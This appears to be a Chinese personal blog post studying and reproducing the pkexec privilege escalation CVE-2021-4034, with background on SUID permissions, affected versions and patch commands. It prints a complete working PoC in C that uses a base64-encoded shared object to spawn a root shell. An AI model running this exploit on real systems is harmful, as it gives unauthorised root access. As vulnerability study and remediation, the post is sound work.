CVE-2021-4034 漏洞学习与复现

前言:网站搭建好后发现阿里云提示服务器有高危漏洞(CVE-2021-4034),修复起来比较容易且不费时,于是干脆先学习一下这个漏洞并尝试复现一次再去修它。

一 CVE-2021-4034 漏洞原理

I. suid-sgid-sbid

Linux中的文件具有“权限”这样的属性,一个文件的属性决定了它能被谁阅读、编写和执行(r、w、x)以及不能被谁rwx。

Linux中文件的普通权限一般为:rwx(读、写、执行),对应与数字表示:421;如果一个人对某个文件只有读和写权限,那么他拥有的权限可以表示为6(因为4+2=6);如果一个人有读、写、执行权限,那么可以表示为7。(Linux的权限问题以及相关命令是较为基础的内容,这里就不过多赘述了)

除此之外,文件还有三种特殊权限分别是:suid权限、sgid权限、sbit(sticky bit)权限;其中suid权限作用于文件属主,sgid权限作用于属组上,sticky权限作用于other其他上。 (关于所属者、所属组、用户、组等内容亦为Linux基础,不过多介绍)

当s这个标志出现在文件所有者x权限上时,此时就被称为Set UID,简称SUID。即这个文件具有suid属性。 当普通用户尝试执行具有suid属性的文件时会暂时得到root权限以完成对这个文件的执行。

当s出现在文件的所属组x权限位置上时,表示所属组有sgid的权限。 普通用户尝试执行该文件时会得到所属组对该文件所拥有的权限

当t出现在其他组x权限位置时,表示其他组具有sbit的权限。 作用与suid、sgid大同小异。

II. CVE-2021-4034 漏洞

2022年01月26日,Linux发布了pkexec的风险通告,该漏洞编号为CVE-2021-4034,漏洞等级:高危

polkit的pkexec应用程序是一个setuid工具,目的是允许非特权用户根据预定义的策略以特权用户身份运行命令,也就是实现前文提到的suid、sgid、sbit属性。

一定版本内的pkexec程序中存在一个本地权限提升漏洞:pkexec无法正确处理调用参数计数,最终尝试将环境变量作为命令执行。攻击者可通过控制环境变量来诱导pkexec执行任意代码从而提升权限,以非特权用户得到管理员权限。

个人对这个漏洞的理解是:pkexec程序调取参数计数时发生错误导致越界读取到了相邻的环境变量并将其执行。对该漏洞的详细源码解析可以参考这篇文章:

【CVE-2021-4034】 漏洞详细原理以及复现,polkit的pkexec中的本地提权漏洞_polkit pkexec 本地提权漏洞_Ba1_Ma0的博客-CSDN博客

漏洞影响范围:(参考——深信服千里目安全实验室)

  • Debain stretch policykit-1 < 0.105-18+deb9u2
  • Debain buster policykit-1 < 0.105-25+deb10u1
  • Debain bookworm, bullseye policykit-1 < 0.105-31.1
  • Ubuntu 21.10 (Impish Indri) policykit-1 < 0.105-31ubuntu0.1
  • Ubuntu 21.04 (Hirsute Hippo) policykit-1 Ignored (reached end-of-life)
  • Ubuntu 20.04 LTS (Focal Fossa) policykit-1 < 0.105-26ubuntu1.2)
  • Ubuntu 18.04 LTS (Bionic Beaver) policykit-1 <0.105-20ubuntu0.18.04.6)
  • Ubuntu 16.04 ESM (Xenial Xerus) policykit-1 <0.105-14.1ubuntu0.5+esm1)
  • Ubuntu 14.04 ESM (Trusty Tahr) policykit-1 <0.105-4ubuntu3.14.04.6+esm1)
  • CentOS 6 polkit < polkit-0.96-11.el6_10.2
  • CentOS 7 polkit < polkit-0.112-26.el7_9.1
  • CentOS 8.0 polkit < polkit-0.115-13.el8_5.1
  • CentOS 8.2 polkit < polkit-0.115-11.el8_2.2
  • CentOS 8.4 polkit < polkit-0.115-11.el8_4.2

二 漏洞复现

漏洞利用条件:已拥有一个可登录的普通用户账号

该漏洞的poc已公开,此处分享一个我用于复现的poc:

#include <stdio.h>
#include <stdlib.h>
void enviroment()
{
    system("mkdir 'GCONV_PATH=.' && touch 'GCONV_PATH=./tmp' && chmod +x 'GCONV_PATH=./tmp'");
    system("mkdir tmp;echo I2luY2x1ZGUgPHN0ZGlvLmg+CiNpbmNsdWRlIDxzdGRsaWIuaD4KI2luY2x1ZGUgPHVuaXN0ZC5oPgoKdm9pZCBnY29udih2b2lkKSB7fQoKCnZvaWQgZ2NvbnZfaW5pdCh2b2lkICpzdGVwKQp7CgkvL1Blcm1zIAoJc2V0dWlkKDApOyBzZXRldWlkKDApOyBzZXRnaWQoMCk7IHNldGVnaWQoMCk7CQoJLy9JbnZvcXVlIFNoZWxsCgljaGFyICogc2hlbGxbXSA9IHsgIi9iaW4vYmFzaCIsICItaSIsIE5VTEwgfTsKCS8vRGVmaW5lIFBhdGgKCWNoYXIgKiBlbnZfdmFyc1tdID0geyAiUEFUSD0vdXNyL2xvY2FsL3NiaW46L3Vzci9sb2NhbC9iaW46L3Vzci9zYmluOi91c3IvYmluOi9zYmluOi9iaW4iLCBOVUxMIH07CglleGVjdmUoc2hlbGxbMF0sIHNoZWxsLCBlbnZfdmFycyk7CglleGl0KDApOyAKfQo= | base64 -d > tmp/b64load.c; gcc tmp/b64load.c -o tmp/pwnkit.so -shared -fPIC ");
    system("echo bW9kdWxlIFVURi04Ly8gUFdOS0lULy8gcHdua2l0IDIK | base64 -d > tmp/gconv-modules");
}
void banner()
{
    setvbuf(stdout, NULL, _IONBF, 0);
    printf("Current User before execute exploit\nhacker@victim$whoami: ");
    system("whoami");
    sleep(1);
    printf("Exploit written by @luijait (0x6c75696a616974)");
}
int main(int argc, char **argv)
{
    banner();
    enviroment();
    char * const idk[] = {
    NULL
};
    char * const entorno[] =
        {
            "tmp",
            "PATH=GCONV_PATH=.",
            "SHELL=/random",
            "CHARSET=PWNKIT",
            "GIO_USE_VFS=",NULL
        };
printf("\n[+] Enjoy your root if exploit was completed succesfully\n");
return execve("/usr/bin/pkexec", idk, entorno);
}

将poc写为cve-2021-4034 poc.c文件后用scp命令传到目标服务器的tmp目录下后用ssh登上服务器

用gcc命令将cve-2021-4034编译成test文件

输入id 查看当前普通用户身份的权限为普通用户

执行test文件后再次查看权限可以看见,已经提权成功。

三 漏洞修复

把polkit升级到安全版本就好了

CentOS用户:

1| yum clean all && yum makecache
2| yum update polkit -y

可通过命令查看当前polkit是否为安全版本

rpm -qa polkit

Ubuntu用户:

1| sudo apt-get update
2| sudo apt-get install policykit-1

验证版本

dpkg -l policykit-1
欢迎评论区中交流
No Comments

Send Comment Edit Comment


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
Previous
Next